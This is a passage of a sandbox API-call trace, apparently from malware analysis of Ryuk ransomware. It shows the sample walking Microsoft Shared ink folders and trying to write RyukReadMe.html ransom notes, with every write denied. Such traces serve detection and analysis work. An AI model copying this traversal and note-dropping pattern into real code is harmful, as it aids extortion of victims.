	[0160.579] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x84, dwReserved1=0x0, cFileName="TipRes.dll.mui", cAlternateFileName="")) returned 1
	[0160.579] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5cd75ed, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5f38bbd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5f38bbd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0160.579] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x84, dwReserved1=0x0, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 1
	[0160.579] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x84, dwReserved1=0x0, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 0
	[0160.579] FindClose (in: hFindFile=0x7c5d0 | out: hFindFile=0x7c5d0) returned 1
	[0160.582] SetLastError (dwErrCode=0x0) 
	[0160.582] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0160.594] GetLastError () returned 0x5
	[0160.594] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0160.594] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0160.594] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1
	[0160.594] SetLastError (dwErrCode=0x0) 
	[0160.594] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0160.595] GetLastError () returned 0x5
	[0160.595] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0160.595] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0160.595] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c5d0
	[0160.596] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0160.596] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe41519b8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe41519b8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0160.596] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe41519b8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe41519b8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0160.596] FindClose (in: hFindFile=0x7c5d0 | out: hFindFile=0x7c5d0) returned 1
	[0160.597] SetLastError (dwErrCode=0x0) 
	[0160.597] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0160.597] GetLastError () returned 0x5
	[0160.597] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0160.597] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0160.597] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="et-EE", cAlternateFileName="")) returned 1
	[0160.597] SetLastError (dwErrCode=0x0) 
	[0160.597] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0160.598] GetLastError () returned 0x5
	[0160.598] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0160.598] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0160.598] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c5d0
	[0160.600] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0160.600] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb4e9cfd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeb74b2cd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeb74b2cd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0160.600] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb4e9cfd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeb74b2cd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeb74b2cd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0160.600] FindClose (in: hFindFile=0x7c5d0 | out: hFindFile=0x7c5d0) returned 1
	[0160.601] SetLastError (dwErrCode=0x0) 
	[0160.601] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0160.601] GetLastError () returned 0x5
	[0160.601] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0160.601] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0160.601] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1
	[0160.601] SetLastError (dwErrCode=0x0) 
	[0160.602] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0160.602] GetLastError () returned 0x5
	[0160.602] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0160.602] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0160.602] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c5d0
	[0160.603] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0160.603] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe47dd5b4, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4a64ce1, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4a64ce1, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0160.603] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe47dd5b4, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4a64ce1, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4a64ce1, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0160.603] FindClose (in: hFindFile=0x7c5d0 | out: hFindFile=0x7c5d0) returned 1
	[0160.603] SetLastError (dwErrCode=0x0) 
	[0160.603] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0160.604] GetLastError () returned 0x5
	[0160.604] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0160.604] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0160.604] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f4e4a1, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x92f4e4a1, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x92f9a75d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x186b84, dwReserved0=0x7c, dwReserved1=0x0, cFileName="FlickAnimation.avi", cAlternateFileName="")) returned 1
	[0160.604] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0160.605] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f8
	[0160.607] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0160.608] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c53a9c4, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5c53a9c4, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe29c9700, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xe2800, dwReserved0=0x7c, dwReserved1=0x0, cFileName="FlickLearningWizard.exe", cAlternateFileName="")) returned 1
	[0160.608] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1
	[0160.608] SetLastError (dwErrCode=0x0) 
	[0160.608] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0160.609] GetLastError () returned 0x5
	[0160.609] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0160.609] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0160.609] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c5d0
	[0160.610] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0160.610] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8311729d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8311729d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8311729d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0160.610] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8311729d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8311729d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8311729d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0160.610] FindClose (in: hFindFile=0x7c5d0 | out: hFindFile=0x7c5d0) returned 1
	[0160.610] SetLastError (dwErrCode=0x0) 
	[0160.610] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0160.611] GetLastError () returned 0x5
	[0160.611] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0160.611] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0160.611] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="fsdefinitions", cAlternateFileName="FSDEFI~1")) returned 1
	[0160.611] SetLastError (dwErrCode=0x0) 
	[0160.611] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0160.611] GetLastError () returned 0x5
	[0160.611] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0160.612] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0160.612] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c5d0
	[0160.617] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0160.618] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="auxpad", cAlternateFileName="")) returned 1
	[0160.618] SetLastError (dwErrCode=0x0) 
	[0160.618] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0160.618] GetLastError () returned 0x5
	[0160.618] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0) returned 0
	[0160.618] CloseHandle (hObject=0xffffffffffffffff) returned 0
